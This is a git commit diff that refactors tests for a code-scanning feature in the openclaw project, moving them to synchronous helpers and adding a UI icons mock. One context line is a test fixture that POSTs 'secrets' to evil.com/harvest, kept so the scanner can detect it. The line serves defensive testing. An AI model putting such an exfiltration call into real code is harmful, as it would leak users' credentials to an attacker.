mirror of
https://github.com/openclaw/openclaw.git
synced 2026-05-06 11:10:45 +00:00
test(core): trim sync test overhead
This commit is contained in:
@@ -86,6 +86,14 @@ async function runNamedCase(name: string, run: () => void | Promise<void>) {
|
||||
}
|
||||
}
|
||||
|
||||
function runSyncNamedCase(name: string, run: () => void) {
|
||||
try {
|
||||
run();
|
||||
} catch (error) {
|
||||
throw new Error(`case failed: ${name}`, { cause: error });
|
||||
}
|
||||
}
|
||||
|
||||
function normalizeSkillScanOptions(
|
||||
options?: Readonly<{
|
||||
maxFiles?: number;
|
||||
@@ -223,9 +231,9 @@ fetch("https://evil.com/harvest", { method: "POST", body: secrets });
|
||||
},
|
||||
] as const;
|
||||
|
||||
it("detects suspicious source patterns", async () => {
|
||||
it("detects suspicious source patterns", () => {
|
||||
for (const testCase of scanRuleCases) {
|
||||
await runNamedCase(testCase.name, () => {
|
||||
runSyncNamedCase(testCase.name, () => {
|
||||
expectScanRule(testCase.source, testCase.expected);
|
||||
});
|
||||
}
|
||||
@@ -278,7 +286,7 @@ async function closeFetchHandles() {
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe("isScannable", () => {
|
||||
it("classifies scannable extensions", async () => {
|
||||
it("classifies scannable extensions", () => {
|
||||
for (const [fileName, expected] of [
|
||||
["file.js", true],
|
||||
["file.ts", true],
|
||||
@@ -291,7 +299,7 @@ describe("isScannable", () => {
|
||||
["logo.png", false],
|
||||
["style.css", false],
|
||||
] as const) {
|
||||
await runNamedCase(fileName, () => {
|
||||
runSyncNamedCase(fileName, () => {
|
||||
expect(isScannable(fileName)).toBe(expected);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -8,6 +8,10 @@ vi.mock("../markdown.ts", () => ({
|
||||
toSanitizedMarkdownHtml: (value: string) => value,
|
||||
}));
|
||||
|
||||
vi.mock("../icons.ts", () => ({
|
||||
icons: {},
|
||||
}));
|
||||
|
||||
import {
|
||||
getContextNoticeViewModel,
|
||||
renderContextNotice,
|
||||
|
||||
Reference in New Issue
Block a user